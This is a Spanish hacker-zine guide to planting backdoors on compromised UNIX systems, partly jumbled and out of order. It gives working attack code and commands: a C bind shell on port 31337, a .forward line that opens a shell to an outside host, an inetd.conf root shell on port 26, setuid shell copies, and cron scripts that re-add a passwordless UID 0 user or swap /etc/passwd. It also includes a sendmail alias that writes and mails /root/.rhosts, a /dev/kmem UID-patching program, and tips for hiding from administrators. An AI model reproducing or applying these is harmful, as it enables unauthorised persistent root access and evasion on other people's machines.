Fuente : http://www.jsnv.org/
Utiliza este texto de manera responsable: Osea, ke te sirva pa asegurar algun
Introducion: ?COMO? , si esperas ke me enrolle a escribir, la llevas clara .... No me Puessss,....., es una 'Puerta trasera' ke sirve pa volver a entrar a una Una makina donde ponerla (osea login y pass), de momento, con esto solo te
Pa ke lo entiendas: cat /etc/passwd -pasa a ser- cat /etc/passd; Se ejecuta el comando y depues dara un eror, pasa de el, komo yo paso de Evidentemente, esta backdoor no es muy recomendable ya ke se ve con un /* quick thingy... bind a shell to a socket... defaults to port 31337 */ int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; int main () soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr)); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (fork() != 0) exit(0); setpgrp(); soc_rc = listen(soc_des, 5); if (server_pid != 0) Osea, cuando este en una makina pon: echo \username >> ~/.forward Ten en cuenta, de ke si mandas correo asi: Tardara un tiempo en llegar, por lo tanto tardara un tiempo en ejecutarse lo
Y ya esta ... asi le llegara el mail casi instantaneamente. La verdad es ke hay mejores opciones, ya ke esto lo ejecutaria cada vez ke
El codigo fuente: 4- Inetd. Esta es una de las mas usadas (SI NO LA KE MAS....). Un POCO de explicacion previa. ok, en el /etc/services vas a ver algo asi: tcpmux 1/tcp #TCP Port Service Multiplexer ?Ke cojones es esto? ftp 21/tcp #File Transfer [Control] [1] [2]/[3] #[ 4 ] 1: Nombre del servicio Bien, eso kiere decir ke esta abierto el puerto 21, y le ha dao el nombre de
Ahora, tenemos ke konfigurar el inetd pa ke ejecute una shell cuando alguien
Veras algo asi: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A ?Que significa esto? 1: Nombre del servicio en el /etc/services. Ok, osea que, segun la linea anterior, Cuando alguien haga un telnet al Ya ke sabemos lo ke significa esto, instalemos lo ke nnos falta de nuestra
fwalld stream/tcp nowait root /bin/sh sh -i Esta linea la meteis por enmedio del /etc/inetd.conf y no canta musso. Ahora
#killall -HUP inetd Ahora probad la backdoor accediendo como usuario normal: $telnet localhost 26 Recordad ke los comandos los teneis ke meter komo en la 1* backdoor osea con
Mejoras para esta backdoor: fwalld stream/tcp nowait root /bin/fwalld fwalld Ya resalta menos. 5 - CRONos I, el root del tiempo XDDDDD Los troyanos del cron son buenos para mantener el acceso como root en un el Cron es un demonio 'temporal', osea, se encarga de hacer ke el sistema 0 0 * * 1 /usr/bin/updatedb 1: minuto, 0-59 Este cron se ejecutara todos los lunes a las 00:00. Para modificar el Cron
Por ejemplo, si, para simplificar tus accesos metes un usuario de UID 0 en
el 0 0 * * 5 /usr/bin/revive.sh Copia este programa en el directorio /usr/bin (o donde kieras), recuerda en
revive.sh #!/bin/sh set evilflag = (`grep YourUser /etc/passwd`) set linecount = `wc -l /etc/passwd` *** NOTE : MODIFY "YOURUSER" !! Este programa chekea si esta nuestro usuario en el fichero de password, si
no dead.sh #!/bin/sh cp /bin/csh /tmp/.yourlittleshell # Don't name it that... Mejoras: Usa tu imaginacion, hay MILLONES de posibilidades, te muestro ahora
Este Cron, para mi, es uno de los mejores, lo ke hace es, kopiar el fichero
29 4 * * * /bin/usr/.hiden Crea un fichero de password personal /var/spool/mail llamado .sneaky (o como
Pon en este porgrama en /bin/usr (o donde kieras :) .hidden #!/bin/sh Edita el fichero /etc/aliases aqade esta linea: decode: |/usr/bin/uudecode asegurate de ocultarla bien en el fichero. El fichero uudecode es un script
:). Aki tienes el script: uudecode.sh #!/bin/sh echo "+ +" > tmpfile echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com Puedes aqadir cualkier programa de los listados de antes (los diferentes *NOTA: Esta backdoor a mi no me funciona en mi linux. No la he probado en 8- Esta es experimental, al parecer en algunos sistemas (sobre todo linux)
Ejemplo: 9- /dev/kmem. Te imaginas poder acceder a memoria para cambiar tu UID?? , por
/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. struct user userpage; int main(argc, argv, envp) int count, fd; if(argv[1]){ /* we've got an argument, is it the keyword? */ where=(lseek(fd,userlocation,0); count=read(fd,&userpage,sizeof(struct user)); printf("Current UID: %d\n",userpage.u_ruid); userpage.u_ruid=0; #include #define LNULL ((LDFILE *)0) long address(){ object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot read symbol table in /unix.\n"); chmod 666 /dev/kmem Recuarda darle los permisos 4711. 10- Escapes de shell, bueno, esta otra backdoor a pesar de lo ke parece, Osea: #chmod 4755 /bin/Mail El mejor consejo ... Oculta tus rastros, si un admin no se da cuenta de ke
ha
BackDoors por Fuego Fatuo (La KaTeDral)
Este texto es una adaptacion/traduccion del articulo 'BackDoors Revised'
publicado en la Confidence Remains High n:3 escrito por Blk-Majik (Menuo nick
XDDDD ). He aqadido algunas backdoors, he modificao otras y he kitao otras.
Osea, ke este texto tambien tiene algo mio.
hack :)
gusta escribir, asiske ...., si tienes 'alguna' duda me escribes, si no
entiendes casi na, olvidalo tio....
(Ke RADIKAL XDDDD)
?Ke es una backdoor?
makina hackeada en caso de ke te kiten el acceso normal, tb se le llama asi
a
lo ke dejas en una makina para asegurarte el root.
Una cosa debe estar clara, aqadir un usuario con :0:0: es de lamers, ya ke
se detecta como na!, y no solo por el root, tb por otro hacker (yo he
encontrao :0:0: SIN PASSWORD!!! Algun lamer .. ).
He de reconocer ke yo tengo una cta asi (pero kon pass), pero porke nadie
aparece por esa makina desde hace aqos, osea ke no me preocupa.
?Ke necesito pa poner una backdoor?
basta pa poner alguna backdoor, tb es verdad ke kon eso ... poco mas ke
komerte los mocos. Nene!!, trabaja un poco y conviertete en root.
*Por cierto, por si no te habias dao cuenta, me refiero a backdoors para
sistemas basados en UNIX.
Bien, veamos esas backdoors:
1- Pa poner esta backdoor, con solo ser un simple usuario basta, consiste en
un simple programita en C, ke al ejecutarlo se keda ejecutando en segundo
plano residente, este programita es un servidor, e.d. atiende un puerto,
cuando alguien se conesta a ese puerto,el servidor atiende a ese 'alguien',
ejecuta una shell y deja ke ese alguien interactue (los gurus de linux me
mataran al ver komo explico esto) con esa shell, osea, komo si estuviera
dentro, eso si, sin dejar logs (esto es bueno),una cosa ke no debeis olvidar,
es poner al final de cada linea un ';' (no voy a explicar porque).
vosotros .....
simple 'ps', ademas, cuando el servidor ejecuta la shell lo hace como akel ke
ha ejecutao el programa, osea ke si pones esta backdoor sin ser root, solo te
aseguras el acceso como usuario, bueno ... algo es algo.
El programa en cuestion:
/* code by pluvius@io.org */
/* don't forget.. when you connect to the port.. commands are like: */
/* "ls -l;" or "exit;" (don't forget the ';') */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
{
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
if (soc_rc != 0) exit(-1);
signal(SIGHUP, SIG_IGN);
if (fork() != 0) exit(0);
if (soc_rc != 0) exit(0);
while (1)
{
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr,&soc_len);
if (soc_cli < 0) exit(0);
cli_pid = getpid();
server_pid = fork();
{
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl("/bin/sh","sh",(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}
*NOTA: Pa los pocos espabilados: Para ke no te vean el programa al primer
ps ke haga alguien ponle un nombre que no resalte musso, como 'bash','chfn'
o
algo asi ..., vamos, no le pongas 'mi_backdoor'.
Mejoras: lo malo de esta backdoor es ke kualkiera ke haga telnet ha ese
puerto entrara, la mejora puede ser ke pida un password exclusivo (osea ke
no este en el /etc/passwd) y asi solo tu podras entrar por ese puerto. Si
alguien tiene la ocurrencia de hacerlo, por favor, ke me lo mande.
2- .forward, Esta backdoor es mu chuli, con esta te aseguras el acceso,
consiste en modificar el .forward de un usuario (si es el root cojonudo ya ke
entrarias como root), el .foward es un fichero ke usa el mail, cuando ese
usuario reciba algun mail hara lo ke el .forward ponga ke tiene ke hacer,
responder , ejecutar comandos, etc .... }:)
echo |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
>>~/.forward
Esto te abrira una ventana de X-windows (recuerda poner antes 'xhost +victima.com').
Por
supuesto debes de estar en X-windows (por si acaso ...).
mail tontodelculo@victima.gov
ke pongas en el .forward, para solventar este problema, haz:
telnet victima.gov 25
HELO kojones.net
MAIL FROM: tutankamon
RCPT TO: username
DATA
Hola ......
Soy Edu, Feliz Navidad!!!!
.
QUIT
ese usuario recibiera mail, bueno, tu eres el encargado de aprovechar esta
backdoor. Tambien recuerda en borrar el mail kuando entres o simplemente no
mandarle un mail sospechoso para ke no sospeche.
Otra cosa ...... si no tienes IP fija lo anterior de la xterm no te servira
ye ke cada vez tendras una IP distinta.
A partir de ahora,para poner las siguientes backdoors, debes de ser root, :(
, asiske ya sabeis...
3- Un sushi, esto es una backdoor para mantener el root, pero para conseguirlo
una vez dentro, osea, es copiar una shell (por ejemplo /bin/sh) con un nombre
ke no llame la atencion y como root ponerle los permisos 4755, es decir, ke
cualkiera pueda ejecutar esa shell con los permisos del root osea:
#cp /bin/sh /bin/fwalld
#chmod 4755 /bin/fwalld
Si como un usuario normal ejecutas /bin/fwalld .. :) . Lo malo del sushi es
ke si otro lo encuentra y lo ejecuta tambien se hace root, esto se puede
mejorar poniendo un sushi seguro, esto es, un programa ke te pide password
antes de ejecutar el shell. Aki muestro uno ke he hecho yo, pero, lo pongo
solo pa ke veas como es no para ke lo copies,lo subas y ya tienes backdoor,
porque para eso te subes otras backdoors mejores ke hay (rootkits por ejemplo)
, pongo el programa para ke lo veas (si lo kieres usar usalo, a mi me da
igual) y aprendas ha hacer uno (se hace en 3min.) para ponertelo, osea, si no
tienes tiempo para ponerte a instalar un rootkit vas con el 'vi' mismo
escribes el programa lo compilas (recuerda: chmod 4511 <programa>) y lo
dejas
alli para cuando tengas tiempo de instalar el rootkit u otra backdoor mejor.
Es importante ke sepas programar en C en este mundillo, asiske si no sabes,
deja de poner backdoors y estudia.
*
*
*
*
Compila el programa, dale permisos 4711 y ya esta, no hace falta ke copies la
shell. Por supuesto el programa se puede mejorar de mil maneras, si te
molestas en hacerlo, por favor, mandame una copia.
El inetd es un 'programilla' ke escucha los puertos de una makina, entonses,
cuando alguien conesta a un puerto determinao, el inetd ejecuta el demonio
asociao a ese puerto. Bien lo primero: abre un puerto, pa esto esta el
fichero /etc/services.
tcpmux 1/udp #TCP Port Service Multiplexer
compressnet 2/tcp #Management Utility
compressnet 2/udp #Management Utility
compressnet 3/tcp #Compression Process
compressnet 3/udp #Compression Process
2: Puerto ke usa el sistema pa ese servicio
3: El protocolo, puede ser tcp o udp, nosotros pondremos el tcp
4: Descripcion de lo ke hase ese servicio
ftp. Pos nosotros aqadiremos otra linea mas o menos del mismo estilo, pa
abrir el puerto, el numero/nombre del servicio no debe llamar la atencion,
fijate, ke el numero/nombre del puerto no este ya en uso.
Un puerto ke por ejemplo no se suele usar es el 26, bien pongamos algo asi:
fwalld 26/tcp #Firewall daemon
se coneste a ese puerto. Esto se hace en el fichero /etc/inetd.conf , antes
de na, hechemosle un vistazo:
telnet stream tcp nowait root /usr/libexec/tcpd telnetd
shell stream tcp nowait root /usr/libexec/tcpd rshd
login stream tcp nowait root /usr/libexec/tcpd rlogind -a
exec stream tcp nowait root /usr/libexec/tcpd rexecd
ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A
[1] [ 2 ] [3] [ 4 ] [ 5 ] [ 6 ] [ 7 ]
2: Tipo de conexion ke utiliza el servicio
3: Protocolo. Siempre es TCP o UDP
4: Cuanto tiempo se tiene ke retrasar la conexion.
5: Usuario kon el ke se ejecuta el demonio (se usa para los permisos uid/gid
etc ...)
6: Ke programa va a mantener la conexion
7: Comando o demonio
puerto 21 de esta makina, va a tener una conexion stream/tcp y no va a
esperar nada. Ademas, el usuario, como root, va a ejecutar sobre /usr/libexec/tcpd
el comando ftpd (demonio de FTP en este caso)
backdoor, haber .... keremos ke kuando konectemos al puerto 26 se ejecute un
shell, osea /bin/sh ?no?, vale, estamos deacuerdo, ademas, no keremos ke
espere nada, osea, ke nos deje entrar nada mas conectar, por supuesto, la
shell la tiene ke ejecutar como root si no, pierde casi toda la gracia, lo
ultimo es ver el tipo de conexion, pues es stream/tcp, si eres un poco
'curiosillo' (Cosa muy importante en esta 'profesion' :) te preguntaras ?por
que?, pos no te lo voy a decir (porque no lo se), pero bueno ... tu hazme
caso y ya esta, si alguien me kiere escribir para explicarmelo, se lo
agradeceria mucho. Bueno, dejemosnos de rollo, la linea es:
reseteais el inetd pa ke koja los 'educativos' cambios. :) . Esto lo haceis
asi:
Haz ps y asegurate ke se ha reiniciado, ya ke lo ke haces es matar el inetd
(nadie se podra conectar) y despues volverlo a ejecutar. Pos ya ta!!! Ya ta
instalada.
#
';' al final de cada comando.
Lo malo de esta backdoor, es ke kualkier otro puede hacer telnet a ese
puerto y entrar como root, ya ke no existe password, bueno ...., puedes poner
que se ejecute, en vez de una shell, un demonio creado por ti y ke pida
password (el kual solo lo sabras tu). Otra posibilidad es ke, en vez de
ejecutar /bin/sh, pongas un sushi como el del aparatado anterior y entonces,
no resaltara tanto ya ke no pondra el /bin/sh, (Mi 'sushi seguro' no funciona
en este caso), la verdad es ke tampoco hace falta ke sea un sushi, kon ke
solo copies el shell basta, no hace falta ke le des permisos especiales. La
linea kedaria asi:
Si alguien realiza un demonio ke pida un password exclusivo (sin ke este en
el /etc/passwd y sin modificar el login) antes de ejecutar una shell ke me lo
mande.
sistema si el administrador legal (o otro 'no legal' :) nos kita el acceso.
ejecute la orden ke tu kieras kuando kieras :). Escribe crontab en el shell,
entonces te mostrara como introducir, ejecutar y kitar crons. El fichero de
configuracion es /var/spool/cron/crontabs/root (no en todos los sistemas
esta ahi, pero bueno... molestate en buscarlo).
Asi es como es el fichero de configuracion:
[1] [2] [3] [4] [5] [ 6 ]
2: hora, 0-23
3: dia del mes, 1-31
4: mes del aqo, 1-12
5: dia de la semana, 0-6
6: comando a ejecutar
para ke haga algo 'educativo' solo tienes ke aqadir una linea en el fichero
/var/spool/crontab/root.
/etc/passwd, puedes meter un cron ke compruebe si el administrador (el legal
o no) ha kitado ese usuario ke usabas.
Por ejemplo, lo programas para ke se ejecute todos los sabados a las 00:00
(asi puedes acceder a ese sistema durante el fin de semana).Esto se hace
aqadiendo al /var/spool/crontab/root la linea:
cambiarle el nombre para ke no kante mucho:
---------
#Is YourUser still on the system? Let's make sure he is.
#daemon9@netcom.com
if($#evilflag == 0) then # Is he there?
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string option
echo "YourUser::0:0:Mr. Hacker:/home/hacker:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif
esta, lo vuelve a meter sin password. Por favor, no seas tan lamer de dejarlo
sin password, ke he visto a mas de uno asi.
Otra posibilidad es ke ponga un sushi cada cierto tiempo:
-------
# Everyone's favorite...
chmod 4755 /tmp/.yourlittleshell
otro CRON cojonudo, pero el Cron, no tiene limites :).
6- CRONos II.
de password y despues poner como fichero de password otro personal durante un
corto espacio de tiempo (1 minuto por ejemplo), asi, solo tu podras entrar a
la hora ke lo pongas, las 4:30 de la madrugada es buena hora (ATENCION!!! ten
en cuenta ke me refiero 4:30 hora de donde este la makina, ke lo mas posible
es ke si estas hackeando fuera de Espaqa ,cosa ke deberias hacer, la hora no
sea la misma, enterate de la diferencia horaria, con el comando time ves la
hora de alli). Bueno aki pongo el cron:
sea)
-------
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com
cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd
7- Sendmail
-----------
# Create our .rhosts file. Note this will output to stdout.
/usr/bin/uuencode tmpfile /root/.rhosts
Ok, Manda mail a decode, en el subjet metes la version uuencodeada del .rhosts.
CRONs) para ke sean ejecutados por el alias. Se imaginativo.
ningun otro sitio.
Yo la pongo por si acaso......
cuando alguien tiene un uid/gid erroneo en el /etc/passwd, el login le pone
uid/gid 0, osea root.
rmartin:x:x50:50:R. Martin:/home/rmatin:/bin/bash
bien sencillo ke es..., lo unico ke tienes ke hacer es, como root, dejar
/dev/kmem para ke se pueda leer y escribir siendo kien kiera ke seas, (aparte
de cambiar el UID eso sirve para muuuuuuuchas mas cosas). Bien el resto lo
hace este programa:
*/
/* This code originally appeared in "UNIX security:
A practical tutorial" with some modifications by daemon9@netcom.com */
#include
#include
#include
#include
#include
#include
#include
#define KEYWORD "nomenclature1"
long address(), userlocation;
int argc;
char *argv[], *envp[];{
long where, lseek();
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
} /* End main */
#include
#include
LDFILE *object;
SYMENT symbol;
long idx=0;
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}
for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}
exit(60);
}
Mejoras: Para ke la no cante musso esto, es mejor dejar un SUID script ke
lo ke haga sea dejar /dev/kmem con permisos 666 durante un corto espacio de
tiempo en el cual, ejecutas el programa, claro esta ke el SUID script casi,
casi canta mas ke dejar /dev/kmem escribible y leible todo el tiempo, tu
decides, el script seria:
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before
funciona de puta madre y nadie se da cuenta de ella, a no ser ke sea un
hacker de los buenos ke se lo kurra cuando kiere hacerse root, sirve, para
mentener el root (no el acceso), consiste en poner SUID a programas con
escape a shell, como por ejemplo el 'Mail', asi podras ejecutar el programa
y
salir a shell y saldras como root, por supuesto, culakiera puede hacerse root
asi, pero nadie se molesta en comprobar si es root cada vez ke lee un mail.
.....
.....
$ mail
you have new mail.
Bla,bla,bla
Bla,bla,bla
&!/bin/sh
#whoami
root
11-Otras: Hay por ahi muuuuuchos troyanos de programas como su,login
(recordad set 11),passwd, chfn, chsh, etc .... los cuales son tambien
backdoors, de hecho son las mejores, pero a mi me dan muchos quebraderos de
kabeza (no compilan, no encuentras para ese sistema operativo, ....), las
backdoors ke he puesto, funcionan en todos los UNIX, o al menos en casi todos
, si en alguno no funciona, seguro ke solo le tienes ke hacer una pekeqa
variacion a la backdoor pa ke funsione.
Manteniendo la backdoor :
sido hackeado, no buscara backdoor alguna, aparte debes de esconder bien las
backdoors. Ten en cuenta una cosa, si el admin descubre ke ha sido hackeado
y
es un poco listo, lo mas seguro es ke encuentre tus backdoors (por checksums,
fechas, programas SUID...) asieske, lo primero es poner la backdoor y lo
segundo ocultar tu rastro.